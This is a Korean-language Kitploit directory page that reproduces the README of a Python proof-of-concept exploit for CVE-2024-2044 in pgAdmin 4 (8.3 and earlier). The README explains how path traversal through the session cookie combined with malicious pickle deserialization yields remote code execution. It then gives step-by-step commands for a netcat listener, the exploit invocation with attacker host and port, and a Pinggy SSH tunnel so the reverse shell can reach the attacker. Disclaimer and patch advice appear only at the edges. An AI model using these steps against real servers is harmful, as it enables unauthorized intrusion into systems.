Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-2044 — pgAdmin 4(<=8.3)의 CVE-2024-2044를 악용하여 인증된 경로 트래버설과 안전하지 않은 pickle 역직렬화를 통해 원격 코드 실행 및 리버스 셸을 달성하는 Python PoC입니다. | Kitploit
도구/GitHubGitHub/hanzzly/cve-2024-2044
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

pgAdmin 4(<=8.3)의 CVE-2024-2044를 악용하여 인증된 경로 트래버설과 안전하지 않은 pickle 역직렬화를 통해 원격 코드 실행 및 리버스 셸을 달성하는 Python PoC입니다.

저장소 보기
18시간 30분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PoC CVE-2024-2044: pgAdmin 4 인증된 RCE (Linux/POSIX)

이 저장소는 Linux/POSIX 환경에서 실행되는 pgAdmin 4 (8.3 이하 버전)의 인증된 경로 순회(Authenticated Path Traversal) 와 안전하지 않은 역직렬화(Unsafe Deserialization) 를 결합한 치명적인 취약점인 CVE-2024-2044에 대한 Proof of Concept (PoC) 스크립트를 포함하고 있습니다.

[!WARNING] 면책 조항: 이 코드는 교육, 보안 연구, 그리고 공식적인 침투 테스트(authorized pentesting) 목적으로만 작성되었습니다. 서면 허가 없이 대상을 공격하기 위해 이 코드를 악용하는 행위는 불법이며 법률을 위반합니다.


취약점 설명

Linux 환경에서 서버 모드로 실행되는 pgAdmin 4에서는 세션 관리가 로컬 파일 형태로 저장됩니다. 이 취약점은 FileBackedSessionManager.get() 함수가 HTTP 쿠키 pga4_session의 값을 받아 os.path.join을 사용하여 디렉터리 경로에 결합할 때 경로 조작 문자(../)를 정제하지 않기 때문에 발생합니다.

이 PoC 스크립트는 다음과 같은 흐름으로 해당 취약점을 악용합니다:

  1. 인증: 유효한 자격 증명을 사용하여 자동으로 로그인하여 활성 세션을 획득하고 CSRF 토큰을 우회합니다.
  2. 페이로드 업로드: 내장된 Storage Manager 유틸리티를 악용하여 Reverse Shell 명령이 포함된 악성 Python pickle 객체를 업로드합니다. 이 파일은 사용자 저장 디렉터리(예: ) 아래에 저장됩니다.
/storage/사용자명/
  • 경로 순회 트리거: pga4_session 쿠키를 업로드된 pickle 파일로 향하는 상대 경로(예: ../storage/사용자명/file.pickle!)로 조작하여 /login으로 HTTP 요청을 다시 전송합니다. ! 기호는 pgAdmin 4의 세션 파일 확장자 검색에 맞추기 위해 사용됩니다.
  • 코드 실행 (RCE): pgAdmin 4 서버가 해당 파일을 읽고 pickle.loads()로 처리하도록 속습니다. 결과적으로 페이로드는 공격자에게 Reverse Shell을 전송하는 별도의(detached) Python 프로세스를 실행합니다.

  • 사전 요구 사항 (Prerequisites)

    • 대상: Linux/POSIX에서 실행되는 pgAdmin 4 <= 8.3 (서버 모드).
    • 접근: 유효한 로그인 계정(사용자 이름 및 비밀번호)이 필요합니다.
    • 스크립트 의존성: Python 3 및 requests 라이브러리.

    사용 가이드

    옵션 A: 공인 IP 직접 사용 (로컬/VPN)

    1. reverse shell 연결을 수신하기 위해 머신에서 netcat 포트를 엽니다:
      root@kitploit:~
      nc -lvnp 4444
      
    2. 익스플로잇 스크립트를 실행합니다:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    옵션 B: 포트 포워딩 사용 (Pinggy.io)

    머신이 NAT/라우터 뒤에 있어 공용 tunnelling이 필요한 경우, 다음 단계에 따라 Pinggy.io 서비스를 사용할 수 있습니다:

    1. 로컬 Netcat 리스너 실행

    원하는 포트(예: 포트 1337)를 사용하여 로컬 머신에서 nc를 먼저 실행합니다:

    root@kitploit:~
    nc -lvnp 1337
    

    2. Pinggy 터널 실행

    새 터미널을 열고 Pinggy SSH 명령을 실행합니다. 끝부분의 로컬 포트(1337)가 이전에 실행한 nc 포트와 일치하는지 확인하세요:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    연결되면 Pinggy는 공용 TCP URL을 제공합니다. 예를 들어: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    참고: Pinggy에서 얻은 공용 포트는 43143입니다 (이것이 나중에 -lport가 됩니다).

    3. Pinggy의 실제 IP 찾기 (LHOST 획득)

    대상 pgAdmin 4 서버는 reverse shell 소켓 연결을 위해 실제 IP 주소 형식이 필요합니다. Pinggy URL의 도메인에 대해 nslookup을 수행합니다:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    출력은 Pinggy 서버의 공용 IP를 표시합니다 (맨 위 Address 부분의 IPv4를 선택):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    위 출력에서 Pinggy의 실제 IP를 얻었습니다: 172.236.148.125.

    image

    4. 익스플로잇 스크립트 실행

    nslookup 결과 IP를 -lhost로, Pinggy 공용 포트를 -lport로 입력하여 PoC 스크립트를 실행합니다:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    스크립트 옵션 매개변수

    • -t, --target : pgAdmin 4 대상 URL (필수).
    • -u, --username: 로그인 이메일/사용자 이름 (기본값: [email protected]).
    • -p, --password: 로그인 비밀번호 (기본값: player123).
    • -lhost : 공격자 IP 주소 / Pinggy nslookup 결과 IP (필수).
    • -lport : 공격자 리스너 포트 / Pinggy 공용 포트 (필수).

    완화 방안

    이 취약점은 pgAdmin 4 버전 8.4에서 수정되었습니다. 취약한 서버를 관리하고 있다면 즉시 다음 조치를 취하세요:

    1. pgAdmin 4를 8.4 이상 버전으로 업데이트합니다.
    2. VPN 또는 Firewall Whitelist를 사용하여 pgAdmin 4 패널에 대한 네트워크 접근을 제한합니다.
    3. pgAdmin 4 프로세스가 일반 사용자 권한(non-root)으로 실행되도록 확인합니다.
    도구 다운로드